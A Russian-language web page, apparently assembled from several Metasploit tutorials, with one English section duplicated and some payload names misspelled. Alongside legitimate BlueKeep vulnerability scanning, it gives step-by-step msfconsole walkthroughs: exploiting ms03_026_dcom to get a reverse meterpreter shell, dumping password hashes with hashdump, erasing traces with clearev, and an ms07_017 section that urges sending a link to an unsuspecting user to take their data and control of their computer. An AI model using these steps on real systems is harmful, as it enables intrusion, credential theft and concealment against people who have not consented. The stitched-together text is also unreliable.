11 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Что такое метасплойт, и как он работает

Что такое метасплойт, и как он работает?

Что такое метасплойт ?

Метасплойт (а правильно говорить о метасплойте как о проекте) – это именно проект в области компьютерной безопасности, направленный на информирование пользователей (в первую очередь владельцев, разработчиков и администраторов) сетей и ресурсов о возможных уязвимостях в системе безопасности и помогающий в тестировании систем и сетей с целью закрытия в дальнейшем дыр в их безопасности и защиты от эксплойтов. Для разработки метасплойтов существует специальная среда под названием Metasploit Framework. Последняя вылилась в своеобразный подпроект, представляющий собой программную среду или платформу для разработки и использования эксплойтов на удалённой машине. Вопрос использования платформы и применения проекта в целом достаточно скользкий, так как среда, призванная к проведению исследовательской деятельности системных администраторов сети в области защищённости сетей с успехом используется хакерами для разработки и внедрения новейших эксплойтов для получения неавторизованного доступа к ресурсам.

Metasploit Framework с момента изобретения в 2003 претерпела некоторые изменения, и до нас дошла со свободно распространяемой лицензией в бесплатном и коммерческом вариантах. В оба варианта включено множество готовых эксплойтов, которые помогут справиться с обнаружением известных уязвимостей. Отлично запускается на Unix и Windows системах, имеет несколько интерфейсов на выбор пользователя, в том числе в виде окна браузера.

  • Аудит ИБ (37)
  • Вакансии (9)
  • Закрытие уязвимостей (97)
  • Книги (25)
  • Мануал (1 744)
  • Медиа (65)
  • Мероприятия (34)
  • Мошенники (21)
  • Обзоры (644)
  • Обход запретов (31)
  • Опросы (3)
  • Скрипты (98)
  • Статьи (263)
  • Философия (45)
  • Юмор (17)

История

Metasploit был создан HD Moore в 2003 году как портативный сетевой инструмент с использованием Perl . К 2007 году Metasploit Framework был полностью переписан на Ruby . 21 октября 2009 года проект Metasploit объявил, что он был приобретен Rapid7, компанией по обеспечению безопасности, которая предоставляет унифицированные решения для управления уязвимостями.

Подобно сопоставимым коммерческим продуктам, таким как Immunity’s Canvas или Core Security Technologies ‘ Core Impact , Metasploit можно использовать для тестирования уязвимости компьютерных систем или для взлома удаленных систем. Как и многие инструменты информационной безопасности, Metasploit может использоваться как для законных, так и для несанкционированных действий. С момента приобретения Metasploit Framework Rapid7 добавила две проприетарные версии с открытым ядром, названные Metasploit Express и Metasploit Pro.

Возникшее положение Metasploit как де-факто среды разработки эксплойтов привело к выпуску рекомендаций по уязвимостям программного обеспечения, часто сопровождаемых сторонним модулем эксплойтов Metasploit, который подчеркивает возможность использования, риск и исправление этой конкретной ошибки. Metasploit 3.0 начал включать инструменты фаззинга , используемые для обнаружения уязвимостей программного обеспечения, а не просто эксплойты для известных ошибок. Этот путь можно увидеть с интеграцией набора инструментов lorcon wireless (802.11) в Metasploit 3.0 в ноябре 2006 года. Metasploit 4.0 был выпущен в августе 2011 года.

Что такое метасплойт ?

Что такое Metasploit? И что нужно знать о нем

Давайте для начала начнем с того, что же такое этот Metasploit framework и разберемся немного с терминологией, чтоб было понятно что эти слова означают.

Metasploit framework— является полностью бесплатный framework созданный H. D. Moore в 2003 году, который в последствии был куплен Rapid7. Написан этот фреймфорк на языке Ruby. Metasploit обладает крупнейшими базами данных уязвимостей и принимает около миллиона загрузок каждый год. Он также является одним из самых сложных проектов на сегодняшний, написанных на языке Ruby. И сделан для того, чтоб быть в курсе о уязвимостях которые находятся в тех или иных программных обеспечения, чтоб сделать ваш продукт защищеннее чем он может быть.

Уязвимость (Vulnerability) — это слабое место, так сказать пята Ахилеса, которая позволяет злоумышленнику взламывать целевую систему. Уязвимость может существовать в операционных системах, программах, службах и т.д.

​​Эксплоит (Exploit) — это код с помощью которого злоумышленник может взломать систему, программу и т.п., у которой есть уязвимость. Каждое слабое место имеет свой собственный соответствующий эксплойт.

Payload — это код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.

Давайте попробую показать на картинке для более подробного понимания этих слов.

В Metasploit входят различные виды библиотек, которые играют большую роль в функционировании framework. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть framework написана на языке Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.

Далее есть MSF Core библиотека, которая расширяет Rex. Core несет ответственность за выполнение всех необходимых интерфейсов (required interfaces), которые позволяют взаимодействовать с эксплоитами, модулями, сессиями и плагинами.

Metasploit состоит из четырех так называемых пользовательских интерфейсов:

Установка Metasploit доступна для всех Linux дистрибутивов , в Linux kaly он идет уже прям из коробки.

Перед тем как начать применять exploits и payloads на целевой машине, вы должны знать основы о них. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.

Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину допустим с помощью утилиты Nmap. О том как пользоваться ним можете прочесть другую мою статью , перейдя по ссылке. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита.

Давайте пробежимся по некоторым командам, которые применяются вместе с эксплоитами:

show payloads и show exploits — эти две команды показывают список доступных эксплоитов и payloads. например:

1 msf exploit(ms03_026_dcom) > show options

2 Module options (exploit/windows/dcerpc/ms03_026_dcom):

3 Name Current Setting Required Description

5 RHOST yes The target address

6 RPORT 135 yes The target port

search exploit — команда будет искать конкретный эксплоит, например

1 msf > search ms03_026_dcom

2 Matching Modules

4 Name Disclosure Date Rank Description

6 exploit/windows/dcerpc/ms03_026_dcom 2003–07–16 great Microsoft RPC DCOM

use exploit — команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться. например:

1 msf > use exploit/windows/dcerpc/ms03_026_dcom

2 msf exploit(ms03_026_dcom) >

set — эта команда задает значения для параметров/опций в эксплоите, см. след. команду. например:

1 msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102

2 RHOST =>102.168.56.102

3 msf exploit(ms03_026_dcom) >

show targets — каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:

1 msf exploit(ms03_026_dcom) > show targets

2 Exploit targets:

5 0 Windows NT SP3–6a/2000/XP/2003 Universal

А теперь можем потренироваться с такой уязвимостью как ms07_017. Которая позволяет снифферить все данные пользователя, который перешел по ссылке, которую дадим ему. Пример как это делать я показал в видео вверху статьи.

Для начала нам нужно найти ее полный путь поэтому выполним команду:

Затем заюзать этот эксплоит командой:

Смотрим информацию о данном эксплоите, что именно нам надо добавить для полноценного пользования. Пишем команду:

Затем видим,что нам нужно задать payload, тоесть ОС на которую будет происходить атака. Для этого используем команду:

set Payload windows/shell/reverse_tsp

Видим также, что от нас требуется задать ip своего компа, по-этому пишем команду + свой айпи:

set LHOST 192.168.52.159

Можем теперь свой айпи кинуть какому-то пользователю и он перейдя на нее передаст нам полностью все свои данные, а так же откроет доступ к своему компьютеру, что дас там возможность даже создавать папки, читать файлы и тд.

И помните все показанное выше, сделано в целях обучения.

Можно применять только на своих проектах, после разрешения.

И так, как мы видим стрелочку с названием Vulnerability, она показывает на уязвимость в холме (под холмом имеем введу ОС, DB и тд), куда может просочиться наш так называемый подготовленный набор скриптов Exploit, который спровоцирует взрыв в нашей системе (а именно доступ к ОС, изменение логики либо передачу данных пользователя удаленно). Ну а в конечном итоге выполним, после отработки злоскрипта, выполним следующий скрипт Payload, то-есть то, что мы хотим, чтоб в этой ОС, DB произошло по нашему. Надеюсь, я донес идею того как работает эта уязвимость.

А теперь перейдем к архитектурному виду нашего framework:

Использование

There are several interfaces available for Metasploit. This section will explain how to use msfconsole , the interface that provides the most features available in MSF.

To start it, simply type msfconsole . The prompt will change to msf > to indicate it is waiting for commands.

Module types

Everything (scripts, files, programs etc) in Metasploit is a module. There are 6 types of modules:

  • auxiliary — Modules for helping the attacker in various tasks, like port scanning, version detection or network traffic analysis
  • exploit — The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authentication
  • payload — The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commands
  • post — Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading files
  • encoder — Programs for performing encryption
  • nop — NOP generators. NOP is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. NOP instructions are useful for filling the void in executables.
Читать еще:  Как сделать красивый логотип – программы и онлайн-конструкторы для создания логотипов

Searching for exploits

To discover what operating system and software version a target runs, perform a port scan. With this information, use the search command to search for available exploits.

For example, to search for all exploits on Linux platform of Novell:

To search for specific field, type its name, followed by column and the phrase. The following search fields are available:

Search fieldMatchesPossible valuesDB table & column
appPassive (client) or Active (server) exploitsclient , servermodule_details.stance
authorName and email of module AuthorAny phrasemodule_authors.name
typeThe module typeauxiliary , exploit , payload , post , encoder , nopmodule_details.mtype
nameThe path (Name) and the short descriptionAny phrasemodule_details.fullname , module_details.name
platformThe target hardware or software platformbsdi , netware , linux , hpux , irix , osx , bsd , platform , java , javascript , unix , php , firefox , nodejs , ruby , cisco , android , aix , windows , python , solarismodule_platforms.name
bid , cve , edb , osvdb or refThe Bugtraq, CVE, Exploit-DB, OSBDB ID or anyExploit database entry ID, or a part of upstream report URLmodule_refs.name
(No field)All of the above except app and typeAny phraseAll of the above

Using an exploit

After choosing an appropriate exploit, it is time to start hacking!

First, select an exploit using the use command:

To view information about a module, use the info command:

Running info without arguments will show info about currently selected module.

To view the selected exploit’s options, run:

All the required fields must be provided before exploitation. Here, only the RHOST variable must be specified. To assign a value to a variable use the set command:

Now choose the payload:

Choosing a payload (actually, choosing modules in general) will add more options. Run show optons again:

Now assign LHOST variable to the address of your computer, where the exploited computer will send connection requests to:

Now launch the attack!

If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer. See #Meterpreter [broken link: invalid section] for available commands.

Search does not filter properly

Currently the search command in msfconsole does not properly filter the results if more than 1 filters are specified. See the bug report [устаревшая ссылка 2020-08-04] for details.

Сканируем сеть на предмет наличия уязвимости CVE-2019-0708 (BlueKeep) с помощью модуля Metasploit и утилиты rdpscan в ОС Kali Linux 2019.2

Ранее мы писали о выпущенных обновлениях для закрытия уязвимости CVE-2019-0708 Remote Desktop Services Remote Code Execution Vulnerability. Развёртывание этих обновлений не вызывает само по себе какой-то сложности. Однако, учитывая серьёзность уязвимости, будет совсем не лишним провести дополнительное сканирование всех своих сетей на предмет выявления всё ещё уязвимых хостов. Для проведения подобных проверок есть разные методики и инструменты. В этой заметке мы рассмотрим то, как выполнить сканирование сетей с помощью scanner-модуля из состава комплекса Metasploit, поставляемого в специальном дистрибутиве ОС Kali Linux 2019.2. Помимо этого, в этой же ОС, мы выполним сборку и использование дополнительной утилиты сканирования rdpscan.

Разворачиваем Kali Linux

Те, кто до сих пор не знаком со специализированным дистрибутивом ОС Kali Linux, могут получить базовую информацию об этой сборке из статьи Википедии. Для проведения разовых проверок уровня информационной безопасности сетей или отдельной взятых хостов или сервисов с помощью ПО, входящего в состав Kali Linux, можно воспользоваться Live-Boot режимом без установки этой ОС на диск какого-либо компьютера.

В нашем случае для задач тестирования развёрнута выделенная виртуальная машина Hyper-V Gen2 на хосте виртуализации с ОС Windows Server 2012 R2.

Скачать загружаемый образ актуальной версии Kali Linux «без СМС и регистраций» можно с официального сайта проекта: Kali Linux Downloads

Установка Kali Linux на диск виртуальной машины не составит никакого труда для администратора, который уже имел дело с программой установки Linux Debian.

Сразу после установки нам потребуется выпустить систему в Интернет для возможности обновления всех предустановленных пакетов, в число которых входит и интересующий нас комплекс Metasploit. Обновление выполняется стандартным для APT-систем способом:

Разумеется, чтобы обновление пакетов работало, в систему должны быть подключены репозитории Kali Linux:

Возможно также и полное обновление Kali Linux с предыдущих версий, как это описано, например, здесь:

Убедившись в том, что пакетная база системы обновлена, можем переходить к использованию предустановленных в Kali инструментов, например, к интересующему нас комплексу Metasploit.

Используем модуль Metasploit

Входим в интерактивный режим работы со специальной консолью Metasploit:

Данная консоль имеет собственный набор команд и опций. Проверим, какие глобальные опции используются в консоли:

Среди имеющихся опций нас могут заинтересовать опции логирования, выполняемых в консоли действий — ConsoleLogging и SessionLogging. Как видим, в конфигурации по умолчанию эти опции выключены. Включаем логирование консоли и каждой сессий и сохраняем настройки:

Логи консоли по умолчанию сохраняются в домашнем каталоге текущего пользователя в расположении:

/.msf4/logs/console.log . Логи сессий в подкаталоге

После установки глобальных опций логирования лучше завершить сессию командой exit и запустить новую сессию, так как настройки логирования сессий должны начать действовать только для последующих сессий.

После повторного входа проверяем то, что заданные нами ранее настройки логирования включены:

Справедливости ради стоит отметить тот факт, что мой небольшой опыт использования этой консоли в Kali Linux так и не позволил воспользоваться логами сессий. Сессионные логи, не смотря на выставленные опции логирования, так ни разу и не создались. Возможно, это какое-то ограничение данной свободно распространяемой версии Metasploit, а возможно для включения сессионного логирования требуется какое-то дополнительное «шаманство», о котором я просто не знаю.

Как бы там ни было, получить лог работы консоли можно и сторонними средствами. Например, можно использовать логирование SSH-сессии, имеющееся в клиенте PuTTY для Windows, открыв свойства текущего подключения и указав опции логирования сессии.

Логирование процесса сканирования сетей может быть важным для последующей обработки результатов в том случае, если объём сканирования существенен и занимает немало времени. Ведь у администратора не всегда есть возможность наблюдать за длительным процессом сканирования.

Вернёмся к консоли Metasploit и с помощью команды search выполним поиск модуля сканирования уязвимости BlueKeep по её названию командой вида:

В ответ мы получим имя модуля сканирования, который нас интересует.

Чтобы переключиться на этот модуль, выполнима команду use с указанием имени модуля:

Модуль имеет собственный набор опций, получить значение которых можно командой show, находясь на уровне этого модуля:

Как видим, модуль имеет три обязательных опции, две из которых уже определены в конфигурации по умолчанию. Чтобы изменить эти опции, используем команду set. Например, зададим сегмент сети, которую нужно сканировать, и количество потоков сканирования:

Теперь только остаётся запустить процесс сканирования с помощью простой команды:

На консоль будет ведена информация о результатах сканирования и обнаруженных уязвимых хостах:

По окончании процесса сканирования завершаем работу с консолью командой exit, анализируем лог сканирования и принимаем меры по устранению уязвимости обнаруженных хостов.

На этом заметку об описании метода выявления уязвимых хостов можно было бы считать законченной, однако от некоторых коллег поступила информация о том, что были замечены случаи, когда метод выявлял не все уязвимые хосты. Поэтому в контексте нашей задачи мы рассмотрим ещё один инструмент для сканирования сетей на выявление уязвимости BlueKeep — утилиту rdpscan.

Собираем и используем утилиту rdpscan

Загрузить актуальную версию уже скомпилированной утилиты rdpscan под операционные системы Windows и macOS можно по ссылке: Github — robertdavidgraham — rdpscan – releases. Однако в нашем случае для задачи сканирования используется выделенная система на базе Kali Linux, поэтому нам потребуется выполнить загрузку и самостоятельную сборку этой утилиты из исходных колов под Linux.

Выполним установку пакетов, необходимых для загрузки исходных кодом и сборки:

В Kali Linux актуальной версии пакеты git и build-essential уже предустановлены, поэтому в нашем случае в систему будет доустановлен только пакет libssl-dev.

Создадим в домашнем каталоге текущего пользователя отдельный подкаталог и загрузим в него исходные коды утилиты rdpscan:

Перейдём в каталог с исходными кодами и вызовем процедуру сборки утилиты:

В нашем случае в процессе сборки появилось предупреждение, однако на конечный результат это не повлияло, и в каталоге сборки появился исполняемый файл утилиты rdpscan.

Посмотрим то, какие опции умеет для работы принимать эта утилита:

Читать еще:  3 способа установить браузер по умолчанию на Андроид

Как видим, здесь, также как и в случае с модулем Metasploit, доступна возможность указания TCP-порта, работающего с RDP-протоколом. Также есть возможность загрузки списка сканируемых хостов из файла, и имеются разны варианты полноты вывода информации.

Выполним простой запуск сканирования небольшой сети, выполняемый в 10 потоков:

В результате работы утилиты мы увидим уязвимые хосты, а также хосты, отвечающие на запрос в безопасном режиме.

Чтобы сократить вывод, отображая только хосты с обнаруженной уязвимостью, можем использовать вызов следующего вида:

Если требуется сохранить результаты работы утилиты в лог-файл для последующего анализа, то можем просто перенаправить вывод утилиты в файл:

Ну и опять же, анализируем лог сканирования и безотлагательно принимаем меры по устранению уязвимости обнаруженных хостов.

В качестве заключения могу отметить, что из моего скромного опыта использования выше обозначенного модуля сканирования BlueKeep в Metasploit и утилиты rdpscan, оба инструмента выполнили свою задачу с одинаковым результатом. Поэтому выбор инструмента сканирования в данном случае — дело сугубо субъективное.

Практический пример работы с Metasploit Framework

Введение

Наверняка, когда я произношу — «Инструмент для пентестинга» («Penetration Testing tool»), первое, что приходит вам в голову при упоминании этих словосочетаний — имя Metasploit . И не мудрено! Этот проект является одним из крупнейших в мире, написанных на языке Ruby . Суммарное колличество его строк превышает 700 000! На сегодня Metasploit является стандартом де-факто для пентестинга и поиска уязвимостей. Колличество ежегодных скачиваний экземпляров программы зашкаливает за один миллион. Проект также обладает самой большой в мире общедоступной базой данных для проверенных и качественных эксплоитов .

Metasploit Framework является программой и одновременно подпроектом, входящим с состав проекта Metasploit . Его разработку ведет компания Metasploit LLC ( Примечание переводчика . Автор несколько неточен в данном случае. На момент написания статьи все лицензии на проект Metasploit приобретены компанией Rapid7 . Ею выпускаются как коммерческие платные варианты данного продукта — Metasploit Pro , Metasploit Express ; так и бесплатный — Metasploit Framework ). Годом рождения проекта является 2003, когда он начал создаваться на языке Perl. Но позднее программа была полностью переписана на язык Ruby. В самой последней версии релиза Metasploit 3.7.2 возможности пентестинга и симуляции были выведены на качественно новый уровень. За максимально короткий срок был переписан код фреймворка, что увеличило скорость работы и эффективность последнего. Все это значительно усиливает позиции проекта по отношению к его коммерческим аналогам.

Начинаем работать с Metasploit

Программа Metasploit проста в использовании. Она была создана именно с целью помочь и облегчить работу пентестерам. Дальнейшее описание этого незаменимого продукта я буду производить на примере хорошо известного дистрибутива Linux BackTrack 5 . Так что, если у вас его еще нет, приглашаю перейти по ссылке http://www.backtrack-linux.org/downloads/ и скачать последнюю версию (на данный момент это версия 5). Почему именно версию 5? Ну, помимо того, что она самая новая, у нее есть еще одно существенное «преимущество» — в ее состав входят исправленные и рабочие библиотеки Ruby.

Фреймворк Metasploit обладает тремя рабочими окружениями: msfconsole , msfcli и msfweb . Основным и наиболее предпочтительным из трех перечисленных вариантов является первый — msfconsole . Это окружение представляет из себя эффективный интерфейс командной строки со своим собственным набором команд и системным окружением.

Перед запуском Metasploit полезно было бы понять, что делают хотя бы некоторые его команды. Давайте составим ниже небольшой список наиболее распространенных и применимых на практике команд. Графическое представление вывода этих команд также будет представлено в этой статье и мы воспользуемся им для объяснения процесса пентестинга хостов в дальнейшем.

Список наиболее употребимых команд :

i) search : запустив команду search без указания ключевых слов, мы получим список всех доступных эксплоитов. Если значение имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.

ii) show exploits : указав команду show exploits , мы получим список всех доступных на данный момент эксплоитов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.

iii) show payloads : аналогично предыдущим командам show , показывает доступные в системе payload ‘ы. Запускаем команду show payloads и изучаем получившийся список.

iv) show options : набрав в командной строке show options , вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эсплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.

v) info : если вам нужна конкретная и полная информация о каком-либо эксплоите или payload’е, вы можете применить команду info . Скажем, вам нужно подробное описание payload’а winbind . Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.

vi) use : команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.

vii) set RHOST : указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.

viii) set RPORT : задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

ix) set payload : команда указывает имя payload’а, который будет использоваться.

x) set LPORT : задаем номер порта для payload’а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд). Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо. Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.

xi) exploit : запущенный на данный момент эксплоит. Есть другая версия этой команды — rexploit , которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.

xii) help : команда help выдаст полный перечень всех доступных команд системы. Я же привел здесь его краткую версию.

Теперь, когда вы знакомы со всеми основными командами, вы можете запустить эксплоит. Для иллюстрации, давайте выберем сценарий, на примере которого я покажу, как получить контроль над удаленной машиной.

Сценарий

OS : Microsoft Windows Server 2003

OS : BackTrack 5

Kernel version : Linux bt 2.6.38 # SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

Metasploit version : Built in version of metasploit 3.8.0-dev

Единственная информация об удаленной машине, которой мы располагаем, это то, что на ней запущен Windows 2003 Server. Требуется получить доступ к командной оболочке этого удаленного сервера.

Подробные шаги:

Шаг 1 :

Запускаем сетевой сканер Nmap для анализа удаленного сервера по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот Figure1 .

Шаг 2 :

На нашей машине, в операционной системе BackTrack, переходим в меню по пути:

Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole

Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте Figure2 .

Шаг 3 :

Теперь, когда мы знаем, что на удаленной машине открыт порт 135, ищем соответствующий эксплоит RPC в базе данных Metasploit . Для того, чтобы увидеть список всех эксплоитов, доступных в Metasploit , запустим команду show exploits . Мы увидим все, которые можно использовать в нашей системе.

Как вы уже могли заметить, стандартная инсталляция Metasploit Framework 3.8.0-dev имеет в своем составе 696 эксплоитов и 224 payload’а. Список впечатляющий, так что найти нужный сплоит в нем является задачей поистине трудной и утомительной. Но мы воспользуемся более простым и удобным способом. Один из них — перейти по ссылке http://metasploit.com/modules/ и воспользоваться поиском на сайте. Второй способ — запустить команду search в самом Metasploit для поиска соответствующего эксплоита RPC. Можно также еще заглянуть сюда — Exploit Database by Offensive Security .

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc . Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole , как показано на скриншоте Figure3 .

Шаг 4 :

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom . Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5 :

В общем случае запуск команды use запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

Как видно на скриншоте Figure4 , после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) > . Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6 :

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135 . Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST .

Читать еще:  Установить мелодию на контакт андроид. Устанавливаем мелодию звонка, контакта и СМС на Android. Устанавливаем индивидуальную музыку на Андроид

Вводим в командной строке set RHOST 192.168.42.129 и видим результат — IP-адрес удаленного хоста выставлен именно на 192.168.42.129 ., как на скриншоте Figure5 .

Шаг 7 :

Последнее, что нам осталось сделать прежде чем запустить эксплоит — установить payload для него. Все доступные варианты payload’ов можно увидеть с помощью команды show payloads .

Как видно на скриншоте Figure6 , команда show payloads покажет нам все payload’ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter , задав его командой set PAYLOAD windows/meterpreter/reserve_tcp , что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

Обратите внимание, что параметр LHOST для payload’а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128 .

Шаг 8 :

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте Figure8 хорошо видно, что в нашем случе это именно так.

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться — удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами — чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check .

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

На скриншоте Figure9 видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter > .

Шаг 9 :

Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter :

  • ipconfig — показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
  • getuid — отображает имя сервера в консоли;
  • hashdump — создает dump базы данных SAM;
  • clearev — затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.

Таким образом, мы успешно использовали Metasploit фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

Потенциальные возможности использования фреймворка Metasploit:

  • Metasploit может использоваться при пентестинге для создания отчетов, совместно с другими системами автоматического обнаружения уязвимостей. С помощью этого фреймворка можно установить, являются ли уязвимости реально опасными и можно ли ими воспользоваться для проникновения в систему.
  • Metasploit может использоваться для тестинга новых эксплоитов, которые появляются буквально каждый день. Такую проверку вы можете делать на локальном сервере, специально предназначенном для этих целей. С помощью этого фреймворка вы легко можете проверить, эффективен ли новый эксплоит или нет.
  • Metasploit также является великолепным инструментом в ваших системах пентестинга для проверки, настроены ли должным образом IDS в случае возникновения атак.

Заключение

Эта статья является поверхностным обзором по использованию фреймворка Metasploit . Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с Metasploit , приобретенный в этой статье, поможет вам понять принципы работы эксплоитов. Что может в дальнейшем быть хорошим подспорьем для написания своих собственных эксплоитов . А это, в свою очередь, поможет вам выполнять задачи пентестинга на более высоком и качественном уровне.

Использование

There are several interfaces available for Metasploit. This section will explain how to use msfconsole , the interface that provides the most features available in MSF.

To start it, simply type msfconsole . The prompt will change to msf > to indicate it is waiting for commands.

Module types

Everything (scripts, files, programs etc) in Metasploit is a module. There are 6 types of modules:

  • auxiliary — Modules for helping the attacker in various tasks, like port scanning, version detection or network traffic analysis
  • exploit — The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authentication
  • payload — The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commands
  • post — Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading files
  • encoder — Programs for performing encryption
  • nop — NOP generators. NOP is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. NOP instructions are useful for filling the void in executables.

Searching for exploits

To discover what operating system and software version a target runs, perform a port scan. With this information, use the search command to search for available exploits.

For example, to search for all exploits on Linux platform of Novell:

To search for specific field, type its name, followed by column and the phrase. The following search fields are available:

Search fieldMatchesPossible valuesDB table & column
appPassive (client) or Active (server) exploitsclient , servermodule_details.stance
authorName and email of module AuthorAny phrasemodule_authors.name
typeThe module typeauxiliary , exploit , payload , post , encoder , nopmodule_details.mtype
nameThe path (Name) and the short descriptionAny phrasemodule_details.fullname , module_details.name
platformThe target hardware or software platformbsdi , netware , linux , hpux , irix , osx , bsd , platform , java , javascript , unix , php , firefox , nodejs , ruby , cisco , android , aix , windows , python , solarismodule_platforms.name
bid , cve , edb , osvdb or refThe Bugtraq, CVE, Exploit-DB, OSBDB ID or anyExploit database entry ID, or a part of upstream report URLmodule_refs.name
(No field)All of the above except app and typeAny phraseAll of the above

Using an exploit

After choosing an appropriate exploit, it is time to start hacking!

First, select an exploit using the use command:

To view information about a module, use the info command:

Running info without arguments will show info about currently selected module.

To view the selected exploit’s options, run:

All the required fields must be provided before exploitation. Here, only the RHOST variable must be specified. To assign a value to a variable use the set command:

Now choose the payload:

Choosing a payload (actually, choosing modules in general) will add more options. Run show optons again:

Now assign LHOST variable to the address of your computer, where the exploited computer will send connection requests to:

Now launch the attack!

If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer. See #Meterpreter [broken link: invalid section] for available commands.

Search does not filter properly

Currently the search command in msfconsole does not properly filter the results if more than 1 filters are specified. See the bug report [устаревшая ссылка 2020-08-04] for details.

Выбор и формирование пэйлоуда

Зачем нам доступ к чужому компьютеру, если мы ничего там не натворим? И для этой цели понадобится пэйлоуд. Применимо к теме метасплойта, пэйлоуд – именно та часть зловредного программного обеспечения, направленного на изменение функционала системы. В то время, как другая часть программы-вредоноса может быть направлена на дополнительные функции (например, копирование и тиражирование самого себя; речь идёт о компьютерном вирусе). Как понимаете, пэйлуд можно вычленять в отдельный код и использовать в разных вариантах.

